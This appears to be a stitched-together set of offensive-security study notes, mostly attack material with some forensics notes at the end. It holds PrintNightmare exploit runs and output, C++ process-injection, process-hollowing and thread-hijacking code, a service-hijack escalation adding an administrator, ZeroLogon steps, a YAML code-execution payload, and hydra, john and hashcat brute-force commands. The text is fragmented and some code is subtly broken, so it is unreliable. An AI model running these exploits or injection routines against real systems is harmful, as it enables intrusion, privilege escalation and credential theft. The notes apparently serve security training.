-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Enumerating printer drivers
-[*] Driver name: 'Microsoft XPS Document Writer v5'
-[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
-[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
-[*] Loading DLL
-[*] Successfully loaded DLL
-Notice that the local DLL example doesn't abuse CVE-2021-34527 to copy over the DLL.
-$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:Passw0rd@172.16.19.128'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Enumerating printer drivers
-[*] Driver name: 'My Printer Driver'
-[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
-[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
-[*] Copying over DLL
-[*] Successfully copied over DLL
-[*] Trying to load DLL
-[*] Successfully loaded DLL
-
-$ ./printnightmare.py -list 'user:Passw0rd@172.16.19.128'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Enumerating printer drivers
-Name: Microsoft XPS Document Writer v4
-Environment: Windows x64
-Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
-Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
-Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
-Version: 4
-----------------------------------------------------------------
-Name: Microsoft Print To PDF
-Environment: Windows x64
-Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
-Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
-Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
-Version: 4
-----------------------------------------------------------------
-Name: My Printer Driver
-Environment: Windows x64
-Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
-Data file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
-Config file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
-Version: 3
-----------------------------------------------------------------
-Name: Microsoft Shared Fax Driver
-Environment: Windows x64
-Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
-Data file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
-Config file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
-Version: 3
-----------------------------------------------------------------
-Name: Microsoft enhanced Point and Print compatibility driver
-Environment: Windows x64
-Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
-Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
-Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
-Version: 3
-----------------------------------------------------------------
-$ ./printnightmare.py -check 'user:Passw0rd@172.16.19.128'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Target appears to be vulnerable!
-$ ./printnightmare.py -check 'user:Passw0rd@172.16.19.135'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[!] Target does not appear to be vulnerable
-$ ./printnightmare.py -list 'user:Passw0rd@172.16.19.135'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Enumerating printer drivers
-Name: Microsoft XPS Document Writer v4
-Environment: Windows x64
-Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
-Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
-Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
-Version: 4
-----------------------------------------------------------------
-Name: Microsoft Print To PDF
-Environment: Windows x64
-Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
-Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
-Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
-Version: 4
-----------------------------------------------------------------
-Name: Microsoft enhanced Point and Print compatibility driver
-Environment: Windows x64
-Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
-Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
-Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
-Version: 3
-----------------------------------------------------------------
-May require administrative privileges.
-$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:Passw0rd@172.16.19.128'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Deleted printer driver!
-PrintNightmare consists of two CVE's, CVE-2021-1675 / CVE-2021-34527.
-A non-administrative user is allowed to add a new printer driver. This vulnerability was fixed by only allowing administrators to add new printer drivers. A patched version of the print spooler will return RPC_E_ACCESS_DENIED (Code: 0x8001011b) if a non-administrator tries to add a new printer driver.
When adding a new printer driver, the pDataFile parameter in the DRIVER_CONTAINER allows UNC paths. The DLL specified in pDataFile will however not be loaded, but it will get copied over to a local path allowing us to create a new printer driver with the pConfigFile parameter pointing to the local path which will load the DLL. A patched version of the printer spooler will return ERROR_INVALID_PARAMETER (Code: 0x57)
Only CVE-2021-1675 is needed if the malicious DLL is already located on the target.
-For PrintNightmare, if the DLL is not a local path, then CVE-2021-34527 can be used to fetch the DLL via UNC paths. For that reason, it is necessary to serve the DLL over SMB. If you're not familiar with SMB and UNC, read the following subsection.
-When creating a new printer driver, the DLL in the pDataFile parameter will not be loaded for security reasons. However, it will be copied over to C:\Windows\system32\spool\drivers\x64\3\. Then, we could create a new printer driver that uses pConfigFile (which will load the DLL) with the local path. However, the DLL is in use by the first printer driver when creating the second printer driver. Instead, we could overwrite the first printer driver, which will make the printer driver's DLLs get copied over to C:\Windows\system32\spool\drivers\x64\3\old\<I>\, where <I> is incremented for each DLL. Now we can create a third printer driver that will use the local path C:\Windows\system32\spool\drivers\x64\3\old\<I>\, since the DLL is no longer used. Now it's just a matter of guessing <I> which will start incrementing from 1.
Note that the DLL will keep its filename locally, so if you initially run the exploit with foo.dll and it gets saved to C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll and you then change the contents of foo.dll locally and run the exploit again and it now gets saved to C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll, then the original foo.dll will be used since it is located in C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll. Instead, simply change the filename if you change the contents of the DLL.
In short, a UNC path is a path to a file or folder on a network rather than a local file, and it contains the server name and path. For instance, the UNC path \\10.0.0.2\files\foo.txt is a file foo.txt that is served from the files share of the server 10.0.0.2. Usually, a share is served over SMB, but WebDAV is also supported. To create an SMB share on Linux, the easiest and most reliable way is to use the Samba package.
To install Samba with apt:
$ sudo apt install samba
-Edit the /etc/samba/smb.conf and add the following at the end of the file:
[smb]
- comment = Samba
- path = /tmp/share
- guest ok = yes
- read only = yes
- browsable = yes
- force user = nobody
-This will create a new share called smb and serve the files inside /tmp/share. It allows for anonymous access, and the local user nobody will be used to browse the files.
Then start the Samba service by doing:
-$ sudo service smbd start
-Suppose your Linux machine has the IP 192.168.1.100 and you wish to serve the evil.dll, then the UNC path in this scenario will be \\192.168.1.100\smb\evil.dll.
C:\Windows\System32\spoolsv.exe RpcAddPrinterDriver or RpcAddPrinterDriverExrpcdump.py @$TARGET_IP | grep -e 'MS-RPRN|MS-PAR'
-smbserver.py share . -smb2support
-python CVE-2021-1675.py <domain of domaincontroller>/<user>:<password>@$TARGET_IP
-misc::printnightmare /target:<domain.com> /authuser:<lowpriv_user> /authpassword:<password> /library:\\<domain.com>\path\to\printnightmare.dll
-pcAddPrinterDriverEx() is calledLogs are Microsoft-Windows-PrintService/Admin and Microsoft-Windows-PrintService/Operational
316, 808, 811, 31017, 7031Stop-Service -Name Spooler -Force
-Set-Service -Name Spooler -StartupType Disabled
-Computer Configuration/Administrative Templates/Printers
-PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.
-To escalate privileges, the service account must have SeImpersonate privileges. To execute:
-PrintSpoofer.exe -i -c cmd
-With appropriate privileges this should grant system user shell access.
- -DWORD getProcessId(const char *processName) {
- HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
- TH32CS_SNAPPROCESS, // Include all processes residing on the system
- 0 // Indicates the current process
- );
- if (hSnapshot) {
- PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structure
- entry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structure
- if (Process32First( // Obtains the first process in the snapshot
- hSnapshot, // Handle of the snapshot
- &entry // Pointer to the PROCESSENTRY32 structure
- )) {
- do {
- if (!strcmp( // Compares two strings to determine if the process name matches
- entry.szExeFile, // Executable file name of the current process from PROCESSENTRY32
- processName // Supplied process name
- )) {
- return entry.th32ProcessID; // Process ID of matched process
- }
- } while (Process32Next( // Obtains the next process in the snapshot
- hSnapshot, // Handle of the snapshot
- &entry
- )); // Pointer to the PROCESSENTRY32 structure
- }
- }
-
-DWORD processId = getProcessId(processName); // Stores the enumerated process ID
-HANDLE hProcess = OpenProcess(
- PROCESS_ALL_ACCESS, // Requests all possible access rights
- FALSE, // Child processes do not inheret parent process handle
- processId // Stored process ID
-);
-LPVOID dllAllocatedMemory = VirtualAllocEx(
- hProcess, // Handle for the target process
- NULL,
- strlen(dllLibFullPath), // Size of the DLL path
- MEM_RESERVE | MEM_COMMIT, // Reserves and commits pages
- PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
-);
-WriteProcessMemory(
- hProcess, // Handle for the target process
- dllAllocatedMemory, // Allocated memory region
- dllLibFullPath, // Path to the malicious DLL
- strlen(dllLibFullPath) + 1, // Byte size of the malicious DLL
- NULL
-);
-LPVOID loadLibrary = (LPVOID) GetProcAddress(
- GetModuleHandle("kernel32.dll"), // Handle of the module containing the call
- "LoadLibraryA" // API call to import
-);
-HANDLE remoteThreadHandler = CreateRemoteThread(
- hProcess, // Handle for the target process
- NULL,
- 0, // Default size from the execuatable of the stack
- (LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting function
- dllAllocatedMemory, // pointer to the allocated memory region
- 0, // Runs immediately after creation
- NULL
-);
-LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
-LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
-CONTEXT c; // Context structure pointer
-
-if (CreateProcessA(
- (LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to execute
- NULL,
- NULL,
- NULL,
- TRUE, // Handles are inherited from the calling process
- CREATE_SUSPENDED, // New process is suspended
- NULL,
- NULL,
- target_si, // pointer to startup info
- target_pi) == 0) { // pointer to process information
- cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
- return 1;
-HANDLE hMaliciousCode = CreateFileA(
- (LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image
- GENERIC_READ, // Read-only access
- FILE_SHARE_READ, // Read-only share mode
- NULL,
- OPEN_EXISTING, // Instructed to open a file or device if it exists
- NULL,
- NULL
-);
-c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
-GetThreadContext(
- target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
- &c // Pointer to store retrieved context
-); // Obtains the current thread context
-
-PVOID pTargetImageBaseAddress;
-ReadProcessMemory(
- target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure
- (PVOID)(c.Ebx + 8), // Pointer to the base address
- &pTargetImageBaseAddress, // Store target base address
- sizeof(PVOID), // Bytes to read
- 0 // Number of bytes out
-);
-DWORD maliciousFileSize = GetFileSize(
- hMaliciousCode, // Handle of malicious image
- 0 // Returns no error
-);
-
-PVOID pMaliciousImage = VirtualAlloc(
- NULL,
- maliciousFileSize, // File size of malicious image
- 0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
- 0x04 // Enables read/write access (PAGE_READWRITE)
-);
-DWORD numberOfBytesRead; // Stores number of bytes read
-
-if (!ReadFile(
- hMaliciousCode, // Handle of malicious image
- pMaliciousImage, // Allocated region of memory
- maliciousFileSize, // File size of malicious image
- &numberOfBytesRead, // Number of bytes read
- NULL
- )) {
- cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;
- TerminateProcess(target_pi->hProcess, 0);
- return 1;
-}
-
-CloseHandle(hMaliciousCode);
-HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
-pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
- hNtdllBase, // Handle of ntdll
- "ZwUnmapViewOfSection" // API call to obtain
-); // Obtains ZwUnmapViewOfSection from ntdll
-
-DWORD dwResult = pZwUnmapViewOfSection(
- target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
- pTargetImageBaseAddress // Base address of the process
-);
-PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
-PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanew
-
-DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structure
-
-PVOID pHollowAddress = VirtualAllocEx(
- target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
- pTargetImageBaseAddress, // Base address of the process
- sizeOfMaliciousImage, // Byte size obtained from optional header
- 0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
- 0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
-);
-if (!WriteProcessMemory(
- target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
- pTargetImageBaseAddress, // Base address of the process
- pMaliciousImage, // Local memory where the malicious file resides
- pNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers
- NULL
-)) {
- cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
-}
-for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE data
- PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section header
-
- WriteProcessMemory(
- target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
- (PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section
- (PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current section
- pSectionHeader->SizeOfRawData, // Byte size of current section
- NULL
- );
-}
-c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional header
-
-SetThreadContext(
- target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
- &c // Pointer to the stored context structure
-);
-ResumeThread(
- target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
-);
-processHandle = OpenProcess(
- PROCESS_ALL_ACCESS, // Defines access rights
- FALSE, // Target handle will not be inhereted
- DWORD(atoi(argv[1])) // Local process supplied by command-line arguments
-);
-remoteBuffer = VirtualAllocEx(
- processHandle, // Opened target process
- NULL,
- sizeof shellcode, // Region size of memory allocation
- (MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
- PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
-);
-WriteProcessMemory(
- processHandle, // Opened target process
- remoteBuffer, // Allocated memory region
- shellcode, // Data to write
- sizeof shellcode, // byte size of data
- NULL
-);
-remoteThread = CreateRemoteThread(
- processHandle, // Opened target process
- NULL,
- 0, // Default size of the stack
- (LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
- NULL,
- 0, // Ran immediately after creation
- NULL
-);
-Get-Process -IncludeUserName
-HANDLE hProcess = OpenProcess(
- PROCESS_ALL_ACCESS, // Requests all possible access rights
- FALSE, // Child processes do not inheret parent process handle
- processId // Stored process ID
-);
-PVOIF remoteBuffer = VirtualAllocEx(
- hProcess, // Opened target process
- NULL,
- sizeof shellcode, // Region size of memory allocation
- (MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
- PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
-);
-WriteProcessMemory(
- processHandle, // Opened target process
- remoteBuffer, // Allocated memory region
- shellcode, // Data to write
- sizeof shellcode, // byte size of data
- NULL
-);
-THREADENTRY32 threadEntry;
-
-HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
- TH32CS_SNAPTHREAD, // Include all processes residing on the system
- 0 // Indicates the current process
-);
-Thread32First( // Obtains the first thread in the snapshot
- hSnapshot, // Handle of the snapshot
- &threadEntry // Pointer to the THREADENTRY32 structure
-);
-
-while (Thread32Next( // Obtains the next thread in the snapshot
- snapshot, // Handle of the snapshot
- &threadEntry // Pointer to the THREADENTRY32 structure
-)) {
-if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match
- {
- HANDLE hThread = OpenThread(
- THREAD_ALL_ACCESS, // Requests all possible access rights
- FALSE, // Child threads do not inheret parent thread handle
- threadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer
- );
- break;
- }
-$ripSuspendThread(hThread);
-CONTEXT context;
-GetThreadContext(
- hThread, // Handle for the thread
- &context // Pointer to store the context structure
-);
-context.Rip = (DWORD_PTR)remoteBuffer; // Points RIP to our malicious buffer allocation
-SetThreadContext(
- hThread, // Handle for the thread
- &context // Pointer to the context structure
-);
-ResumeThread(
- hThread // Handle for the thread
-);
-Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
-service.c, e.g. add user to administrators groupcmd.exe /k net localgroup administrators user /add
-x86_64-w64-mingw32-gcc service.c service.exe
-reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\Temp\service.exe /f
-sc start regsvc
-0 of AES-CFB8Zero Logon to bypass authentication on the Domain Controller's Machine Account -> Run Secretsdump.py to dump credentials -> Crack/Pass Domain Admin Hashes -> ??? -> Profit
sequenceDiagram
- participant Client
- participant Server
-Client ->> Server: Client challenge
-Server ->> Client: Server challenge, Session Key = KDF(secret, challenges)
-Client ->> Server: Client credential, Encrypt(K_sess, client challenge)
-Server ->> Client: Client credential, Encrypt(K_sess, client challenge)
-Client ->> Server: Signed + sealed with session key: Procedure call with authenticator
-sequenceDiagram
- participant Client
- participant Server
-Client ->> Server: NetrServerReqChallenge (challenge=0000...00)
-Server ->> Client: Server Challenge
-Client ->> Server: NetrServerAuthenticate3 (identity=DC; credential=0000...00; sign/seal=0)
-Server ->> Client: OK
-Client ->> Server: NetrServerPasswordSet2 (target=DC; authenticator=0000...00; timestamp=0; enc.password=0000...00)
-0 as Nonce to domain-controllerNetrServerAuthenticate3 method is generated as NetLogon credentials. Contains the following
-\x00NetrServerAuthenticate is received by server. Responds success if positive to the client.
-RCE via Yaml execution by Python
-!!python/object/apply:os.system ["id"]
-ResetCounter.plist, hard Reset diagnostic countercom.apple.preferences.datetime.plistEncrypted and unencrypted backups can be chosen in the iTunes menu.
-Target copies a file into a repository*.tkape files contains metadata of the files to copyCompound Targets contain metadata of multiple files in order to get a result quicker!Disable do not appear in the target list!Local keep on local*.mkape filesbin$MFT$LOGFILE stores transactions of the file system$UsnJrnl changed files, and reason for changeC:\Windows\Prefetch\*.pf
-C:\Users\<username>\AppData\Local\ConnectedDevicesPlatform\{randomfolder}\ActivitiesCache.db
-C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations
-C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Recent\
-C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\
-C:\Users\<username>\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat
-C:\Windows\inf\setupapi.dev.log
-Analyze ooxml and ole2 files
-oledump.py file.doc -Ss <No. of stream>
-oledump.py file.doc -Ss <No. of stream> -v
-oledump.py -i file.doc
-olevba file.doc
-vmonkey file.doc
-Basic Info, find OS profile
-volatility -f <file.iso> imageinfo
-volatility -f <file.iso> kdbgscan
-volatility -f <file.iso> --profile <OSprofile> pslist
-volatility -f <file.iso> --profile <OSprofile> dlllist -p <PID>
-volatility -f <file.iso> --profile <OSprofile> shellbags
-HKEY_CURREN_USER\Software\Classes for settings of interactive userHKEY_LOCAL_MACHINE\Software\Classes to change default settingsC:\Windows\System32\Config
HKEY_USERS\DEFAULTHKEY_LOCAL_MACHINE\SAMHKEY_LOCAL_MACHINE\SecurityHKEY_LOCAL_MACHINE\SoftwareHKEY_LOCAL_MACHINE\SystemC:\Users\<username>\
HKEY_CURRENT_USER , hidden fileC:\Users\<username>\AppData\Local\Microsoft\Windows
HKEY_CURRENT_USER\Sofware\CLASSES, hidden fileC:\Windows\AppCompat\Programs\Amcache.hve
<name of registry hive>.LOG of the registry hiveC:\Windows\System32\Config, as the hive which was altered.C:\Windows\System32\Config\RegBackAmcache.hveRegistry ViewerZimmerman's Registry Explorer, uses transaction logs as wellAppCompatCache ParserRegRipper, cli and guiSOFTWARE\Microsoft\Windows NT\CurrentVersionSYSTEM\CurrentControlSet\Control\ComputerName\ComputerNameSYSTEM\CurrentControlSet\Control\TimeZoneInformationSYSTEM\CurrentControlSet\Services\Tcpip\Parameters\InterfacesSOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged and SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\ManagedSYSTEM\CurrentControlSet\Servicesstart key value 0x02SAM\Domains\Account\UsersControlSet001 -> last bootControlSet002 -> last known goodHKLM\SYSTEM\CurrentControlSet -> live
Can be found under:
-SYSTEM\Select\Current shows the used control setSYSTEM\Select\LastKnownGoodNTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunNTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnceSOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceSOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\RunSOFTWARE\Microsoft\Windows\CurrentVersion\RunNTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs, e.g. xml, pdf, jpgNTUSER.DAT\Software\Microsoft\Office\VERSION, NTUSER.DAT\Software\Microsoft\Office\15.0\WordNTUSER.DAT\Software\Microsoft\Office\VERSION\UserMRU\LiveID_####\FileMRUUSRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagsUSRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRUNTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRUNTUSER.DAT\Software\Microsoft\Windows\Shell\BagsNTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePIDlMRUNTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRUNTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPathsNTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQueryNTUSER.DAT\Software\Microsoft\Windows\Currentversion\Explorer\UserAssist\{GUID}\CountSYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCacheAppCompatCacheParser.exe --csv <path to save output> -f <path to SYSTEM hive for data parsing> -c <control set to parse>C:\Windows\appcompat\Programs\Amcache.hveAmcache.hve\Root\File\{Volume GUID}\SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}SYSTEM\CurrentControlSet\Services\dam\UserSettings\{SID}SYSTEM\CurrentControlSet\Enum\USBTOR, SYSTEM\CurrentControlSet\Enum\USBSOFTWARE\Microsoft\Windows Portable Devices\DevicesSYSTEM\CurrentControlSet\Enum\USBSTOR\Ven_Prod_Version\USBSerial#\Properties\{83da6326-97a6-4088-9453-a19231573b29}\0064SYSTEM\CurrentControlSet\Enum\USBSTOR\Ven_Prod_Version\USBSerial#\Properties\{83da6326-97a6-4088-9453-a19231573b29}\0066SYSTEM\CurrentControlSet\Enum\USBSTOR\Ven_Prod_Version\USBSerial#\Properties\{83da6326-97a6-4088-9453-a19231573b29}\0067cupp.py -icupp.py -l-acrunch <minlen> <maxlen> <charPool> -o <output.file>
--t specifies variable characters@, lower case alpha characters,, upper case alpha characters%, numeric characters^, special characters including spacecrunch 8 8 -t passw%%rd
-pip install ttpassgenttpassgen --rule '[?d]{6:6:*}' 6digitpins.txt
-ttpassgen --rule '[?l]{1:5:*}' all_letter_combinations.txt
-ttpassgen --dictlist "in.txt,in2.txt" --rule '$0[_]?$1' -s " " out.txt
-haiti <hash>
-combinator wordlist.txt otherwordlist.txt > newwordlist.txt
-hashcat --force <input.txt> -r /opt/hashcat/rules/best64.rule --stdout > wordlist.txt
-SHA2-384 as an example hashcat -m 10800 -a 3 hash.out ?l?l?l?l?l?l?l
-hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V
-hydra -l bob -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -f 10.10.167.239 http-get /protected
-|Command|Description|
-|-------|-----------|
-|hydra -P <wordlist> -v <ip> <protocol>|Brute force against a protocol of your choice|
-|hydra -v -V -u -L <username list> -P <password list> -t 1 -u <ip> <protocol>|You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)|
-|hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>|Attack a Windows Remote Desktop with a password list.|
-|hydra -l <username> -P .<password list> $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'|Craft a more specific request for Hydra to brute force.|
|Option|Decription| -|------|----------| -|-l|Single username| -|-P|Indicates use the following wordlist| -|http-post-form|indicates the method| -|/login url|the login URL| -|:username|the form field where the username is entered| -|^USER^|tells Hydra to use the username from -l| -|password|the formfield where the password is entered| -|^PASS^|tells Hydra to use the wordlist from -P| -|Login|indicates to Hydra the login failed message| -|Login failed|is the login failure message that the form returns| -|F=incorrect|If this word appears on the page, login failed| -|-V| verbose|
- -john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ./hash.txt --format=raw-sha256 --fork=2
-john --list=subformats
-john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ./hash.txt --format=dynamic_85 --fork=2
-/etc/john-local.conf or /usr/share/john/john-local.conf[List.Rules:border]
-$[0-9]$[0-9]
---rules=borderl33t, l33tsp34kNT, case mutationbest64john --wordlist=single_password.txt --rules=best64 --stdout > out.txt
-john --list=subformats
-username::domain:serverChallenge:ntproofstring:NTLMv2Response
- echo -n "<key>" | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K 5AB2CDC0BADCAF13F1 -iv 0000000000000000 -d | hexdump -Cv
-Services and products sometimes have credentials set initially.
-Engagement --> Concept of Operations (CONOPS), Resource and Personnel Requirements, Timelines
-